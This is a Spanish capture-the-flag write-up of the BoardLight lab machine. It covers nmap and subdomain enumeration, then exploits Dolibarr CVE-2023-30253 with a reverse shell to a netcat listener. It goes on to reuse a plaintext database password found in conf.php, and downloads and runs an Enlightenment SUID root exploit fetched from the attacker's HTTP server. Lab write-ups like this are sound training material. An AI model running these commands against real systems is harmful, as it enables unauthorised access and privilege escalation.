Entrada

BoardLight

BoardLight

Skills

  • Subdomain Enumeration
  • Dolibarr 17.0.0 Exploitation - CVE-2023-30253
  • Information Leakage (User Pivoting)
  • Enlightenment SUID Binary Exploitation [Privilege Escalation]

Certificaciones

  • eWPT
  • eJPT

Descripción

BoardLight es una máquina de Linux de dificultad fácil que presenta una instancia de Dolibarr vulnerable a la CVE-2023-30253. Esta vulnerabilidad se aprovecha para obtener acceso como www-data. Después de enumerar y volcar los contenidos del archivo de configuración web, las credenciales en texto plano permiten acceder a la máquina por SSH. Al enumerar el sistema, se identifica un binario SUID relacionado con enlightenment que es vulnerable a la escalada de privilegios a través de la CVE-2022-37706 y que puede ser explotado para obtener una root shell


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.231.37
PING 10.129.231.37 (10.129.231.37) 56(84) bytes of data.
64 bytes from 10.129.231.37: icmp_seq=1 ttl=63 time=36.1 ms
64 bytes from 10.129.231.37: icmp_seq=2 ttl=63 time=36.1 ms
64 bytes from 10.129.231.37: icmp_seq=3 ttl=63 time=41.2 ms

--- 10.129.231.37 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 36.090/37.786/41.152/2.380 mss

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#  sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.231.37 -oG openPorts
[sudo] password for justice-reaper: 
Sorry, try again.
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 14:57 CEST
Initiating SYN Stealth Scan at 14:57
Scanning 10.129.231.37 [65535 ports]
Discovered open port 22/tcp on 10.129.231.37
Discovered open port 80/tcp on 10.129.231.37
Completed SYN Stealth Scan at 14:57, 10.72s elapsed (65535 total ports)
Nmap scan report for 10.129.231.37
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.80 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p 22,80 10.129.231.37 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 15:03 CEST
Nmap scan report for 10.129.231.37
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.76 seconds

Web Enumeration

Si accedemos al servicio web vemos esto

En la parte de abajo de la web vemos un dominio

Añadimos el dominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.231.37   board.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Fuzzeamos y encontramos un subdominio

1
2
3
4
5
6
7
8
9
10
11
12
13
# wfuzz -c -t100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 404 --hh 15949 -H "Host: FUZZ.board.htb" http://board.htb     
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://board.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000072:   200        149 L    504 W      6360 Ch     "crm"     

Añadimos el subdominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.231.37   board.htb crm.board.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Nos encontramos ante un panel de autenticación de Dolibarr 17.0.0

Si buscamos en google Dolibarr default credentials vemos que son admin:admin

Nos logueamos en el panel administrativo

Web Exploitation

Nos descargamos este exploit https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.git y nos ponemos en escucha con netcat

1
# nc -nlvp 4444

Ejecutamos el exploit

1
2
3
4
5
6
7
# python3 exploit.py http://crm.board.htb admin admin 10.10.16.28 4444
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

Recibimos una shell

1
2
3
4
5
6
7
8
# nc -nlvp 4444                                
listening on [any] 4444 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.231.37] 33498
bash: cannot set terminal process group (872): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data

Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 18

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Privilege Escalation

Buscamos en google Dolibarr conf file path

Nos dirigimos a esa ruta y obtenemos unas credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ pwd
/var/www/html/crm.board.htb/htdocs/conf
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

Listamos los usuarios del sistema con directorio home

1
2
3
4
5
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
fwupd-refresh:x:128:135:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:129:65534::/run/sshd:/usr/sbin/nologin

Nos convertimos en el usuario larissa

1
2
3
4
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ su larissa
Password: 
larissa@boardlight:/var/www/html/crm.board.htb/htdocs/conf$ whoami
larissa

Listamos privilegios SUID y me llama la atención el binario enlightenment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
larissa@boardlight:/home$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

Listamos la versión de enlightenment

1
2
3
4
5
6
7
8
9
10
11
12
13
larissa@boardlight:~$ enlightenment --version
ESTART: 0.00046 [0.00046] - Begin Startup
ESTART: 0.00144 [0.00098] - Signal Trap
ESTART: 0.00145 [0.00001] - Signal Trap Done
ESTART: 0.00279 [0.00135] - Eina Init
ESTART: 0.00526 [0.00246] - Eina Init Done
ESTART: 0.00529 [0.00003] - Determine Prefix
ESTART: 0.00614 [0.00085] - Determine Prefix Done
ESTART: 0.00617 [0.00003] - Environment Variables
ESTART: 0.00619 [0.00002] - Environment Variables Done
ESTART: 0.00619 [0.00001] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!

Buscamos exploits para esta versión del binario y encontramos uno para versiones menores de la 0.25.3

Nos descargamos este exploit https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit.git en nuestro equipo y montamos un servidor http con python en la ruta en la que se encuentra el exploit

1
# python -m http.server 80

Nos descargamos el exploit en la máquina víctima

1
2
3
4
5
6
7
8
9
10
larissa@boardlight:~$ wget http://10.10.16.28/exploit.sh
--2024-10-11 06:27:09--  http://10.10.16.28/exploit.sh
Connecting to 10.10.16.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 709 [text/x-sh]
Saving to: ‘exploit.sh’

exploit.sh                        100%[=============================================================>]     709  --.-KB/s    in 0s      

2024-10-11 06:27:09 (75.2 MB/s) - ‘exploit.sh’ saved [709/709]

Ejecutamos el exploit y nos convertimos en usuario root

1
2
3
4
5
6
7
8
9
10
larissa@boardlight:~$ ./exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.